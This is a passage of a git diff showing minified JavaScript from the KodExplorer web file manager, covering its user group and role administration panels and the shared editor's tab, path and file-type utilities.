        \n'),define("app/src/setting/system/system_group",[],function(e){var t,i,a,n,o=function(){p(),c(),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),$(".menuGroup").die("mouseenter").live("mouseenter",function(){$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}),G.is_root||$("[data-action=group_home").addClass("hidden")},s={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!0,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).before(''+core.iconSmall("groupGuest")+"").remove(),t.level>=1){var o="";a.before(o)}$("#"+e+" #"+t.tId+"_a").addClass("menuGroup").append("").attr("data_group_id",t.id)}},callback:{onClick:function(e,t,i){r(t,i.id)},beforeRightClick:function(e,t){r(e,t.id)}}},r=function(e,i){if("folderList"==e){n=i;var a=t.getNodeByParam("id",i,null);t.selectNode(a),g(i)}else"group_parent_select"==e&&($("#group_parent").val(i),$(".select_group").addClass("hidden"),m())},l=function(e){var t=function(e){for(var i=0;e.length>i;i++)void 0!=e[i]?(e[i].pid=e[i].parent_id,e[i].id=e[i].group_id,delete e[i].children,delete e[i].parent_id,delete e[i].group_id,e[i].child&&(e[i].children=e[i].child,delete e[i].child,t(e[i].children))):delete e[i]},i=[],a=$.extend(!0,{},e);for(var n in a){var o=a[n],s=o.parent_id;if(a[s])a[s].child||(a[s].child=[]),a[s].child.push(a[o.group_id]);else{var r=a[o.group_id];r&&i.push(r)}}return t(i),i},c=function(){$.ajax({url:"./index.php?&system_group/get",dataType:"json",error:function(){$("#folderList").html('
        '+LNG.system_error+"
        ")},success:function(e){return e.code?(a=System.dataList(e,"group"),i=l(a),$.fn.zTree.init($("#folderList"),s,i),t=$.fn.zTree.getZTreeObj("folderList"),t.expandAll(!0),void 0==n&&(n="1"),r("folderList",n),0!=$("#group_parent_select").length&&_(),void 0):($("#folderList").html('
        '+LNG.system_error+"
        "),void 0)}})},d=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},p=function(){$("body").click(d).contextmenu(d),$.contextMenu({zIndex:9999,selector:".menuGroup",items:{add_child:{name:LNG.system_group_add,icon:"plus",accesskey:"u"},edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",add_user:{name:LNG.system_member_add,icon:"user",accesskey:"g"},sep2:"--------",remove:{name:LNG.remove,icon:"remove-sign",accesskey:"r"}},callback:function(e,i){var a=i.$trigger.attr("id");a=a.replace("_a","");var n=t.getNodeByTId(a);switch(e){case"add_child":var o=f();o.parent_id=n.id,v(o);break;case"edit":var o=f(n.id);v(o);break;case"add_user":System.systemMember.add(n.id);break;case"remove":u(n.id);break;default:}}}),$(".sub_menu").die("click").live("click",function(e){$(this).contextMenu({x:e.pageX,y:e.pageY})})},f=function(e){return void 0==e?{group_id:"",name:"",parent_id:"",children:"",config:{size_max:"0",size_use:""},path:"",create_time:""}:a[e]},u=function(e,i){var a=t.getSelectedNodes()[0],n=a.getParentNode(),o="./index.php?system_group/del&group_id="+e;$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:LNG.system_group_remove,padding:30,width:300,lock:!0,background:"#000",opacity:.3,content:LNG.system_group_remove_tips,ok:function(){$.ajax({url:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){Tips.close(t),System.systemMember.resetList(),r("folderList",n.id),c(),"function"==typeof i&&i(e)}})},cancel:!0})},h=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},m=function(){var e=$("#group_parent_select"),t=$("#group_parent").val();if(e.find("a.menuGroup").removeClass("curSelectedNode"),""==t)return $(".select_parent_content .group_title").html("is root"),!1;var i=f(t);return $(".select_parent_content .group_title").html(i.name),e.find("a[data_group_id="+t+"]").addClass("curSelectedNode"),!0},_=function(){var e=$("#group_parent_select");$.fn.zTree.init(e,s,i);var t=$.fn.zTree.getZTreeObj("group_parent_select");t&&t.expandAll(!0),m()&&$(".select_parent_content .btn").unbind("click").bind("click",function(){$(".select_group").toggleClass("hidden")})},v=function(t){var i=e("./tpl/group.html"),a=template.compile(i),n=a({LNG:LNG,groupInfo:t}),o=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:n});h(),System.sizeUse($(".share_view_info")),_(),$(".input_line #name").textFocus();var s="./index.php?system_group/add";if(""!=t.name)var s="./index.php?system_group/edit&group_id="+t.group_id;$("#system_save").unbind("click").bind("click",function(){r()}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(t) +}),$(".remove_button").unbind("click").bind("click",function(){u(t.group_id,function(){o.close()})}),$(".content_box input").keyEnter(function(){r(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){r(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var r=function(e){var i="";$(".share_dialog .content_info input[name]").each(function(){var e=urlEncode($(this).val());""!=e&&(i+="&"+$(this).attr("name")+"="+e)}),$.ajax({url:s,data:i,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){return Tips.close(i),i.code||"version_error"!=i.info?(i.code&&(c(),""!=t.name||1!=e?o.close():setTimeout(function(){$(".input_line #name").val("").textFocus()},200)),void 0):($.dialog({content:i.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},g=function(e){var t=f(e);t&&($(".group_title .group_title_span").html(t.name),$(".group_size").html(t.config.size_use+"/"+t.config.size_max),$("#content_system_group .group_id").html(e),System.sizeUse($(".group_size")),System.systemMember.loadList(e))},b=function(){$(".size_max_set input").live("input",h),$("#content_system_group .header_content [data-action]").live("click",function(){var e=$(this).attr("data-action"),t=$("#content_system_group .group_id").html(),i=f(t);switch(e){case"group_edit":v(i);break;case"group_home":System.openPath(i);break;case"group_add_child":var a=f();a.parent_id=t,v(a);break;default:}})};return b(),{init:o,getGroupInfo:f,getListTree:function(){return i},getList:function(){return a}}}),define("app/src/setting/system/tpl/group.html",[],'
        \n
        \n
        \n {{if !groupInfo.name}}\n {{LNG.system_group_create}}\n {{else}}\n {{groupInfo.name}}\n {{/if}}\n
        \n {{if groupInfo.name}}\n \n {{/if}}\n
        \n
        \n
        \n {{LNG.system_group_name}}:\n \n {{if groupInfo.name}}\n \n {{else}}\n {{LNG.name}}\n {{/if}}\n
        \n
        \n
        \n {{LNG.space_size}}:\n \n \n
        \n
        \n
        \n {{LNG.system_group_father}}:\n \n \n \n
        \n
        \n\n
        \n  \n {{LNG.more}}\n
        \n
        \n
        \n
        \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n\n \n
        \n\n'),define("app/src/setting/system/system_role",[],function(){var e,t,i=function(){$.ajax({url:"index.php?system_role/get",dataType:"json",async:!1,success:function(i){return i.code?(e=i.data,a(),void 0==t&&(t="1"),n(t),void 0):(Tips.tips(i),void 0)}})},a=function(){var t="";$.each(e,function(e,i){t+='
      • '+""+i.name+'
      • '}),t+='
      • ',$(".role_list_cell").html(t)},n=function(i){var a;t=i,$(".system_role li.role_cell").removeClass("select"),$(".system_role [data-role-id="+i+"]").addClass("select"),$("#content_system_role [data-action=role_delete]").show(),$("#content_system_role .group_title .label-info").show(),"0"==i?(a={name:"",ext_not_allow:"php|jsp|html"},$("#content_system_role [data-action=role_delete]").hide(),$("#content_system_role .group_title .label-info").hide(),$("#content_system_role .role_title").html(LNG.system_role_add)):(a=e[i],$("#content_system_role .role_title").html(a.name),$("#content_system_role .role_id").html(i)),$(".group_editor #name").val(a.name).textFocus(),$(".group_editor #ext_not_allow").val(a.ext_not_allow),$(".group_editor .tag").removeClass("this"),$(".group_editor input").removeAttr("checked"),$(".group_editor .tag").each(function(){var e=$(this),t=e.attr("data-role");t=t.split(";"),t=t[0],a[t]&&(e.addClass("this"),e.find("input").attr("checked",!0))})},o=function(){if(!G.is_root)return Tips.tips(LNG.group_role_error,"warning"),void 0;var e=$(".group_editor #name").val(),a=$(".group_editor #ext_not_allow").val(),n={},o="index.php?system_role/add";return void 0==a&&(a=""),""==e?(Tips.tips(LNG.not_null,"error"),!1):($(".group_editor .tag.this").each(function(){for(var e=$(this).attr("data-role").split(";"),t=0;e.length>t;t++)n[e[t]]=1}),"1"==t&&n!={}&&(n={}),"0"!=t&&(o="index.php?system_role/edit&role_id="+t),$.ajax({url:o+"&name="+urlEncode(e)+"&ext_not_allow="+a,data:n,type:"POST",dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=e.info,i(),System.systemMember.loadList(""))}}),void 0)},s=function(e){return G.is_root?($.dialog({fixed:!0,icon:"question",padding:"30px 40px",drag:!0,title:LNG.warning,content:LNG.if_remove+c(e)+"?
        "+LNG.group_remove_tips,cancel:!0,ok:function(){$.ajax({url:"index.php?system_role/del&role_id="+e,async:!1,dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=void 0,i(),System.systemMember.resetList(),System.systemMember.loadList(""))}})}}),void 0):(Tips.tips(LNG.group_role_error,"warning"),void 0)},r=function(){$(".group_editor .tag").each(function(){$(this).hasClass("this")?($(this).removeClass("this"),$(this).find("input").removeAttr("checked")):($(this).addClass("this"),$(this).find("input").attr("checked",!0)),$(".group_editor .combox:eq(0) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(0) .tag").removeClass("this"),$(".group_editor .combox:eq(0) .tag").find("input").removeAttr("checked")),$(".group_editor .combox:eq(1) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(1) .tag").removeClass("this"),$(".group_editor .combox:eq(1) .tag").find("input").removeAttr("checked"))})},l=function(){$(".group_editor .tag").live("click",function(){var e=$(this);if(select=!1,e.toggleClass("this"),e.hasClass("this")?(select=!0,e.find("input").attr("checked",!0)):(select=!1,e.find("input").removeAttr("checked")),e.parent().hasClass("combox")){var t=e.index();1==t&&0==select&&(e.parent().find(".tag").removeClass("this"),e.parent().find("input").removeAttr("checked")),1!=t&&1==select&&(e.parent().find(".tag:eq(0)").addClass("this"),e.parent().find("input:eq(0)").attr("checked",!0))}}),$(".system_role li.role_cell").live("click",function(){n($(this).attr("data-role-id"))}),$("#content_system_role [data-action]").live("click",function(e){var i=$(this).attr("data-action");switch($(this),i){case"role_delete":s(t);break;case"role_edit_save":o();break;case"revert_all":r();break;default:}stopPP(e)})},c=function(t){var i=e[t];return i?i.name:'null'},d=function(){var t={};return $.each(e,function(e,i){t[e]=i.name}),t};return l(),{init:i,getList:d,setSelect:n}}); \ No newline at end of file diff --git a/static/js/app/src/share_editor/main.js b/static/js/app/src/share_editor/main.js index 38ec580..966280a 100755 --- a/static/js/app/src/share_editor/main.js +++ b/static/js/app/src/share_editor/main.js @@ -1,5 +1,6 @@ -/*! power by kodexplorer ver3.41(2017-03-06) [build 1488797373403] */ -define("app/src/share_editor/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/taskTap","../../common/core","../../share_common/rightMenu","./ui","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../../share_common/topbar"],function(e){Config={TreeId:"folderList",AnimateTime:200,pageApp:"editor",treeAjaxURL:"index.php?share/treeList&app=editor&user="+G.user+"&sid="+G.sid},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),ui=e("./ui"),tree=e("../../common/tree"),ui.tree=tree;var t=e("../../share_common/topbar");$(document).ready(function(){core.init(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),t.init(),G.project.length>1&&(Config.treeAjaxURL+="&project="+urlEncode(G.project)),ui.init(),TaskTap.init(),rightMenu.initEditor()})}),define("app/common/taskTap",[],function(){var e={},t="",i=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var t=e.attr("id"),i=$.dialog.list[t];if(void 0==i)return c(t),void 0;var a=$("."+t);"hidden"==a.css("visibility")?i.display(!0).zIndex():a.hasClass("aui_state_focus")?i.display(!1):i.zIndex()},o=function(){var e,t,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(t){1==t.which&&(e=$(this),h(t),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(t){v(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(t.pageX-l)&&n(e)}))});var h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("
        "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='
        '+i+"
        ";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(t[0],i)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var 